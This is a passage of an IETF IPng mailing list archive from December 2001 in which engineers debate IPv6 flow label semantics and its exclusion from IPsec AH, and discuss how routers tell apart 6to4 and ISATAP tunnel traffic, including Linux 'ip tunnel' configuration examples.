From owner-ipng@sunroof.eng.sun.com Thu Dec 20 12:19:33 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKKJWZR027378 for ; Thu, 20 Dec 2001 12:19:33 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKKJWqj027377 for ipng-dist; Thu, 20 Dec 2001 12:19:32 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKKJSZR027370 for ; Thu, 20 Dec 2001 12:19:28 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA05581 for ; Thu, 20 Dec 2001 12:19:30 -0800 (PST) Received: from berkshire.research.att.com (union1UBR1-5-hfc-0252-40e84946.rdc1.nj.comcastatwork.com [64.232.73.70]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA16715 for ; Thu, 20 Dec 2001 13:19:29 -0700 (MST) Received: from research.att.com (localhost [127.0.0.1]) by berkshire.research.att.com (Postfix) with ESMTP id EAF797B7A; Thu, 20 Dec 2001 15:19:51 -0500 (EST) X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 From: "Steven M. Bellovin" To: Brian E Carpenter Cc: matthew.ford@bt.com, mat@cisco.com, CDunk@rim.net, kempf@docomolabs-usa.com, mrw@windriver.com, ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 20 Dec 2001 15:19:51 -0500 Message-Id: <20011220201952.EAF797B7A@berkshire.research.att.com> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In message <3C206E03.D4FC5CFB@hursley.ibm.com>, Brian E Carpenter writes: >We can note the discrepancy, but I doubt if we can change >IPSEC at this point in time. > Of course, IPsec excludes the flow label from AH because at the time IPsec was being standardized, the v6 folks didn't know what they wanted to do with that field. --Steve Bellovin, http://www.research.att.com/~smb Full text of "Firewalls" book now at http://www.wilyhacker.com -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 12:21:06 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKKL5ZR027395 for ; Thu, 20 Dec 2001 12:21:05 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKKL57x027394 for ipng-dist; Thu, 20 Dec 2001 12:21:05 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKKL2ZR027387 for ; Thu, 20 Dec 2001 12:21:02 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA10805 for ; Thu, 20 Dec 2001 12:21:03 -0800 (PST) Received: from smtp.tndh.net (evrtwa1-ar8-4-60-069-141.vz.dsl.gtei.net [4.60.69.141]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA06014 for ; Thu, 20 Dec 2001 12:20:59 -0800 (PST) Received: by smtp.tndh.net from localhost (router,SLMail V3.2); Thu, 20 Dec 2001 12:20:17 -0800 Received: from eagleswings [127.0.0.1] by smtp.tndh.net [4.60.68.77] (SLmail 3.2.3113) with SMTP id 3857B6752F094B0F8A43B4D48A4B2333 for plus 5 more; Thu, 20 Dec 2001 12:20:16 -0800 From: "Tony Hain" To: "Francis Dupont" , "Hesham Soliman \(ERA\)" Cc: , , , Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Thu, 20 Dec 2001 12:15:13 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal In-Reply-To: <200112201932.fBKJWGD65882@givry.rennes.enst-bretagne.fr> X-SLUIDL: 37C636DF-712943EC-876CE664-954BA0F3 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Francis.Dupont wrote: > PS: I can read between the lines that an end-to-end usage of > the flow label is proposed. IMHO this is only a waste of bits, > the flow label is in the header in order to be available to > intermediate nodes. For end-to-end options, a destination header > fits better. There is value in a mechanism that the origin host can trust that a remote router will see its intent. If you are strictly talking about endpoint conversations, yes using an extension header is appropriate. The point is that an application needs to communicate with routers along the path and know that some random transit administration hasn't changed the message. Tony -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 12:40:24 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKKeOZR027530 for ; Thu, 20 Dec 2001 12:40:24 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKKeND2027529 for ipng-dist; Thu, 20 Dec 2001 12:40:23 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKKeKZR027522 for ; Thu, 20 Dec 2001 12:40:20 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA14465 for ; Thu, 20 Dec 2001 12:40:22 -0800 (PST) Received: from smtp.tndh.net (evrtwa1-ar8-4-60-069-141.vz.dsl.gtei.net [4.60.69.141]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA13294 for ; Thu, 20 Dec 2001 12:40:22 -0800 (PST) Received: by smtp.tndh.net from localhost (router,SLMail V3.2); Thu, 20 Dec 2001 12:40:19 -0800 Received: from eagleswings [127.0.0.1] by smtp.tndh.net [4.60.68.77] (SLmail 3.2.3113) with SMTP id 72C24206BA054118AFE97D2691C8A0BB for plus 1 more; Thu, 20 Dec 2001 12:40:18 -0800 From: "Tony Hain" To: "Margaret Wasserman" Cc: Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Thu, 20 Dec 2001 12:35:15 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal In-Reply-To: <4.2.2.20011220144423.01f5e100@mail.windriver.com> X-SLUIDL: E2B07547-0FE04F22-B16AE3BE-E5FD3D3C Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Margaret Wasserman wrote: > Hmmm... I've apparently hit a nerve here. But, I still don't > I get it. What goals would we further by taking "an architectural > stand" on this issue? What value would this change add to the > existing standards? Locking the value to end-to-end immutable adds value to the process because there is no other mechanism for an application to assure that every router along the path that chooses to may see its intent. All the current mechanisms allow random administrative policies to change the message from the origin, so why would an application writer bother setting a value that he has no way of knowing that it will reach the intended remote target? > In my opinion, we have two choices: > > (1) Define these 20-bits of the IPv6 header so that they > can be used by any (or many different) flow > management system(s). > (2) Define specific semantics for this field that can be > used by intermediate routers to optimize packet > processing, without an external flow-management > system. > > It isn't possible to do both at once. You are assuming that every router along the path is part of the same administrative system and would react consistently to the marking. It is perfectly reasonable for my local administrative domain to have an interactive system to manage the values, then have some intermediate domain use a set of canned rules about src/dst/dscp/fl to achieve a specific service, and finally have a prior administrative arrangement with the remote domain to treat the packets consistently with the origin domain. If the intermediate domain is allowed to modify the bits there is no way for the remote domain to know the origin's intent. > To achieve (1), we should include only the rules required to keep > non-flow-managed nodes from interfering with mechanisms that use > this field -- those rules are already in RFC 2460. I don't think > that we should restrict this field any more than is absolutely > necessary. I agree with the last statement, but restricting the field as architecturally end-to-end immutable IS NECESSARY. If people want to mangle bits along the path, use the DSCP which is specifically designed for that purpose. > To achieve (2), we should define how routers will identify a > _single_ flow using only this field. In my opinion, this would > involve some mechanism for the routers to understand the flow > lifetime. This should be defined to be safe across source host > and router re-boots, etc. Again I agree, but the specific mechanism I would leave to a WG focused on signalling or other interactions that would manage state. > And, in either case, I don't understand why this would need to > be specified as part of the core IPv6 specifications. See first answer above ... Tony -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 12:42:55 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKKgtZR027553 for ; Thu, 20 Dec 2001 12:42:55 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKKgt3X027552 for ipng-dist; Thu, 20 Dec 2001 12:42:55 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKKgoZR027545 for ; Thu, 20 Dec 2001 12:42:51 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA10113 for ; Thu, 20 Dec 2001 12:42:52 -0800 (PST) Received: from smtp.tndh.net (evrtwa1-ar8-4-60-069-141.vz.dsl.gtei.net [4.60.69.141]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA14238 for ; Thu, 20 Dec 2001 12:42:51 -0800 (PST) Received: by smtp.tndh.net from localhost (router,SLMail V3.2); Thu, 20 Dec 2001 12:42:25 -0800 Received: from eagleswings [127.0.0.1] by smtp.tndh.net [4.60.68.77] (SLmail 3.2.3113) with SMTP id 4C97D772B8C04DFA82E8ECD0823A091E for plus 7 more; Thu, 20 Dec 2001 12:42:24 -0800 From: "Tony Hain" To: "Steven M. Bellovin" , "Brian E Carpenter" Cc: , , , , , Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Thu, 20 Dec 2001 12:37:21 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal In-Reply-To: <20011220201952.EAF797B7A@berkshire.research.att.com> X-SLUIDL: 21D608DC-1A614FE6-BB60BB5A-E40CEF3C Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Steven M. Bellovin wrote: > Of course, IPsec excludes the flow label from AH because at the time > IPsec was being standardized, the v6 folks didn't know what > they wanted > to do with that field. Which is still the case, with the exception that it really needs to be restricted to immutable because it is the only head field left to do that with. Tony -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 13:17:17 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKLHHZR027733 for ; Thu, 20 Dec 2001 13:17:17 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKLHG5s027732 for ipng-dist; Thu, 20 Dec 2001 13:17:16 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKLHDZR027725; Thu, 20 Dec 2001 13:17:13 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA21795; Thu, 20 Dec 2001 13:17:15 -0800 (PST) Received: from zcamail03.zca.compaq.com (zcamail03.zca.compaq.com [161.114.32.103]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA27888; Thu, 20 Dec 2001 13:17:15 -0800 (PST) Received: by zcamail03.zca.compaq.com (Postfix, from userid 12345) id 7566429AF; Thu, 20 Dec 2001 13:16:58 -0800 (PST) Received: from taynzmail03.nz-tay.cpqcorp.net (taynzmail03.nz-tay.cpqcorp.net [16.47.4.103]) by zcamail03.zca.compaq.com (Postfix) with ESMTP id 307F228C6; Thu, 20 Dec 2001 13:16:58 -0800 (PST) Received: by taynzmail03.nz-tay.cpqcorp.net (Postfix, from userid 12345) id 69EB11BBA; Thu, 20 Dec 2001 16:17:13 -0500 (EST) Received: from oflume.zk3.dec.com (broflume.zk3.dec.com [16.141.0.42]) by taynzmail03.nz-tay.cpqcorp.net (Postfix) with ESMTP id 574D7189F; Thu, 20 Dec 2001 16:17:13 -0500 (EST) Received: from whitestar.zk3.dec.com by oflume.zk3.dec.com (8.8.8/1.1.22.3/03Mar00-0551AM) id QAA0000032231; Thu, 20 Dec 2001 16:17:01 -0500 (EST) Received: from zk3.dec.com by whitestar.zk3.dec.com (8.9.3/1.1.29.3/09Nov01-0546PM) id QAA0000136472; Thu, 20 Dec 2001 16:17:12 -0500 (EST) Message-ID: <3C225557.D68AC642@zk3.dec.com> Date: Thu, 20 Dec 2001 16:17:11 -0500 From: Vladislav Yasevich X-Mailer: Mozilla 4.76 [en] (X11; U; OSF1 V5.1 alpha) X-Accept-Language: en MIME-Version: 1.0 To: "Fred L. Templin" Cc: Pekka Savola , ngtrans@sunroof.eng.sun.com, ipng@sunroof.eng.sun.com Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling References: <3C223129.BBE3149E@erg.sri.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Fred I believe Pekka is comming from the linux implementation point of view which has only one pseudo-interface (sit0) to act as tunnel endpoint (at least that's what I see on my linux box). This is really the problem that leads to not being able to distinguish between tunneling mechanisms. -vlad "Fred L. Templin" wrote: > > Pekka, > > Let me respond to the below from the perspective of ISATAP and 6to4 > tunnel mechanisms at work in the same machine. For example, let us > suppose that a 6to4 router is also acting as an ISATAP router. In this > case, there will be (at least) *two* distinct tunnel pseudo-interfaces; > one for 6to4 and one for ISATAP. These pseudo-interfaces *may* bind to > the same physical link, but they need not do so and (in practice) often > will not. > > In any case, however, the tunnel pseudo-interfaces are uniquely identified > by the IPv4 address assigned to each. As long as different IPv4 addresses > are assigned to the different tunnel pseudo-interfaces (a configuration > requirement for FreeBSD and Linux, at least), there will never be a case > of ambiguity such as the one you describe below. Note that if a single > physical link were used, this would mean assigning two or more IPv4 > addresses to the same link. But, all OS's I work with support this. > > Am I belaboring an already obvious point? > > Fred > templin@erg.sri.com > > Pekka Savola wrote: > > > > First, let me point out a property of overloading protocol 41, from my > > draft: > > > > --8<-- > > There is a problem with multiple transition mechanisms if security is > > implemented. This may vary a bit from implementation to > > implementation. > > > > Consider three mechanisms using automatic tunneling: 6to4, ISATAP > > [ISATAP] and Automatic Tunneling using Compatible Addresses [MECH]. > > > > All of these use IP-IP (protocol 41) [IPIP] IPv4 encapsulation with, > > more or less, a pseudo-interface. > > > > When a router, which has any two of these enabled, receives an IPv4 > > encapsulated IPv6 packet: > > > > src_v4 = 10.0.0.1 > > dst_v4 = 20.20.20.20 > > src = 3ffe:ffff::1 > > dst = 2002:1010:1010::2 > > > > what can it do? How should it decide which transitionary mechanism > > this belongs to; there is no "transitionary mechanism number" in IPv6 > > or IPv4 header to signify this. > > > > Without any kind of security checks (in any of implemented methods) > > these often just "work" as the mechanisms aren't differentiated but > > handled in "one big lump". > > > > Configured tunneling [MECH] does not suffer from this as it is point- > > to-point, and based on src/dst pairs of both IPv4 and IPv6 addresses > > it can be deduced which logical tunnel interface is in the question. > > > > Solutions for this include not using more than one automatic > > tunneling mechanisms in the same system or binding different > > mechanisms to different IPv4 addresses. > > --8<-- > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -- ++++++++++++++++++++++++++++++++++++++++++++++++++++ Vladislav Yasevich Tel: (603) 884-1079 Compaq Computer Corp. Fax: (435) 514-6884 110 Spit Brook Rd ZK03-3/T07 Nashua, NH 03062 -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 13:35:55 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKLZtZR027842 for ; Thu, 20 Dec 2001 13:35:55 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKLZtYR027841 for ipng-dist; Thu, 20 Dec 2001 13:35:55 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKLZpZR027834 for ; Thu, 20 Dec 2001 13:35:51 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA26459 for ; Thu, 20 Dec 2001 13:35:53 -0800 (PST) Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA24557 for ; Thu, 20 Dec 2001 14:36:39 -0700 (MST) Received: from kenawang ([128.224.4.111]) by mail.wrs.com (8.9.3/8.9.1) with ESMTP id NAA08411; Thu, 20 Dec 2001 13:34:49 -0800 (PST) Message-Id: <4.2.2.20011220154229.01fa6cf0@mail.windriver.com> X-Sender: mrw@mail.windriver.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Thu, 20 Dec 2001 16:33:36 -0500 To: "Tony Hain" From: Margaret Wasserman Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Cc: ipng@sunroof.eng.sun.com In-Reply-To: References: <4.2.2.20011220144423.01f5e100@mail.windriver.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >Locking the value to end-to-end immutable adds value to the process >because there is no other mechanism for an application to assure that >every router along the path that chooses to may see its intent. All the >current mechanisms allow random administrative policies to change the >message from the origin, so why would an application writer bother >setting a value that he has no way of knowing that it will reach the >intended remote target? What is wrong with a hop-by-hop option? Isn't that the "right" mechanism for an IPv6 host to send a "message" that is processed by all routers in the path? >You are assuming that every router along the path is part of the same >administrative system and would react consistently to the marking. No I'm not assuming that all routers in the path will understand the flow label. I am assuming, though, that the flow label will only be _useful_ within an administrative system that has a consistent (or at least compatible) understanding of its meaning. >It is >perfectly reasonable for my local administrative domain to have an >interactive system to manage the values, then have some intermediate >domain use a set of canned rules about src/dst/dscp/fl to achieve a >specific service, and finally have a prior administrative arrangement >with the remote domain to treat the packets consistently with the origin >domain. If the intermediate domain is allowed to modify the bits there >is no way for the remote domain to know the origin's intent. I don't understand how these three systems can usefully interpret the same bits in two different ways. If I am choosing a random flow label value at the source (with an "interactive system" that indicates its meaning out-of-band), why won't I just get random behaviour from the intermediate domain in your example? Could you give a practical example of when this would be useful? >Again I agree, but the specific mechanism I would leave to a WG focused >on signalling or other interactions that would manage state. Then, why not leave the specification of flow label semantics and rules to this same WG? Margaret -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 13:36:48 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKLamZR027859 for ; Thu, 20 Dec 2001 13:36:48 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKLamXM027858 for ipng-dist; Thu, 20 Dec 2001 13:36:48 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKLajZR027851 for ; Thu, 20 Dec 2001 13:36:45 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA09198 for ; Thu, 20 Dec 2001 13:36:47 -0800 (PST) Received: from eccles.ee.ryerson.ca (eccles.ee.ryerson.ca [141.117.1.2]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA05601 for ; Thu, 20 Dec 2001 13:36:46 -0800 (PST) Received: from ee.ryerson.ca (snake.ee.ryerson.ca [172.16.1.245]) by eccles.ee.ryerson.ca (8.11.1/8.11.1) with ESMTP id fBKLaXX27068; Thu, 20 Dec 2001 16:36:33 -0500 Message-ID: <3C225A08.7030002@ee.ryerson.ca> Date: Thu, 20 Dec 2001 16:37:12 -0500 From: Muhammad Jaseemuddin Organization: Ryerson Polytechnic University User-Agent: Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2 X-Accept-Language: en-us MIME-Version: 1.0 To: Margaret Wasserman CC: ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: <4.2.2.20011216201939.0202aeb0@mail.windriver.com> <4.2.2.20011217091931.0201a430@mail.windriver.com> <4.2.2.20011220104605.024d1150@mail.windriver.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Margaret: I completely agree with you that unless we have a signalling/flow-establishment mechanism we cannot really define the flow-label usage in a meaninful way. Perhaps we should wait until new NSIS sginalling might come-up with some usage and mechanism for this bit-space. - Muhammad Jaseemuddin Margaret Wasserman wrote: > >Hi All, > >I am wondering why we should specify the use of the flow label as >part of the base IPv6 specifications at all. Why do we need >these rules as part of IPv6? > >The flow label does not, by itself, provide any useful information >that a router can use to classify a flow and/or optimize packet >handling. In fact, without knowledge of a specific signalling >mechanism or flow-establishment mechanism, the router can't >use the flow label for anything at all. For example, a router >cannot use a flow label for QoS queuing or to optimize hop-by-hop >header processing, unless the router is aware of the signalling/ >flow-establishment mechanism in use, since it will not >know the flow lifetime. > >Any rules governing how the flow label is chosen, modified, >authenticated and/or interpreted will be specific to the >signalling/flow-establishment mechanism in use. And, all of >the nodes/routers that are utilizing one of these mechanisms >will be aware of the mechanism. > >So why not specify the semantics/use/etc. of the flow label as >part of the signalling/flow establishment protocols? > >The IPv6 specifications could merely include the current rule: > >"Hosts or routers that do not support the functions of the Flow Label >field are required to set the field to zero when originating a packet, >pass the field on unchanged when forwarding a packet, and ignore the >field when receiving a packet." [from RFC 2460]. > >This rule should properly protect the flow label, so that >signalling/flow-establishment mechanisms can use the flow >label, as needed by the specific mechanism. > >Margaret > > > > > > > > > > >-------------------------------------------------------------------- >IETF IPng Working Group Mailing List >IPng Home Page: http://playground.sun.com/ipng >FTP archive: ftp://playground.sun.com/pub/ipng >Direct all administrative requests to majordomo@sunroof.eng.sun.com >-------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 13:39:26 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKLdQZR027876 for ; Thu, 20 Dec 2001 13:39:26 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKLdQkY027875 for ipng-dist; Thu, 20 Dec 2001 13:39:26 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKLdMZR027868; Thu, 20 Dec 2001 13:39:23 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA27577; Thu, 20 Dec 2001 13:39:25 -0800 (PST) Received: from sfo.erg.sri.com (sfo.erg.sri.com [128.18.4.100]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA09536; Thu, 20 Dec 2001 14:39:24 -0700 (MST) Received: from erg.sri.com (walleye.erg.sri.com [128.18.4.214]) by sfo.erg.sri.com (8.9.1/8.9.1) with ESMTP id NAA05972; Thu, 20 Dec 2001 13:37:51 -0800 (PST) Message-ID: <3C225A75.9A2418B1@erg.sri.com> Date: Thu, 20 Dec 2001 13:39:01 -0800 From: "Fred L. Templin" X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Vladislav Yasevich CC: Pekka Savola , ngtrans@sunroof.eng.sun.com, ipng@sunroof.eng.sun.com, templin@erg.sri.com Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling References: <3C223129.BBE3149E@erg.sri.com> <3C225557.D68AC642@zk3.dec.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Vladislav, If you use the 'iproute2' package under recent releases of the Linux kernel (e.g. recent releases of 2.4.*), you will see that the command: # ip tunnel add allows you to add as many auto-tunnel pseudo interfaces as you'd like. For example, try: # ip add tun1 mode sit remote R1 local L1 # ip add tun2 mode sit remote R2 local L2 ... # ip add tunn mode sit remote Rn local Ln and you should see n-many 'tun' pseudo-interfaces pop up when you issue the command: 'ifconfig -a'. (Above, Ri and Li represent the remote and local IPv4 addresses assigned to pseudo-interfaces 'tuni' for 1 <= i <= n). The 'sit0' is simply there as a "base" upon which multiple pseudo-interfaces may be layered. If you get the 'iproute2' package from: http://v6web.litech.org/isatap/ you will see the following when you issue the command: 'ip tunnel help': > Usage: ip tunnel { add | change | del | show } [ NAME ] > [ mode { ipip | gre | sit | isatap } ] > [ remote ADDR ] [ local ADDR ] [ v4any ADDR ] So, to create an ISATAP tunnel, simply use the "mode isatap" directive. Fred templin@erg.sri.com Vladislav Yasevich wrote: > > Fred > > I believe Pekka is comming from the linux implementation point of view > which has only one pseudo-interface (sit0) to act as tunnel endpoint > (at least that's what I see on my linux box). This is really the problem > that leads to not being able to distinguish between tunneling mechanisms. > > -vlad -------------------------------------------------------------------- IETF IPng 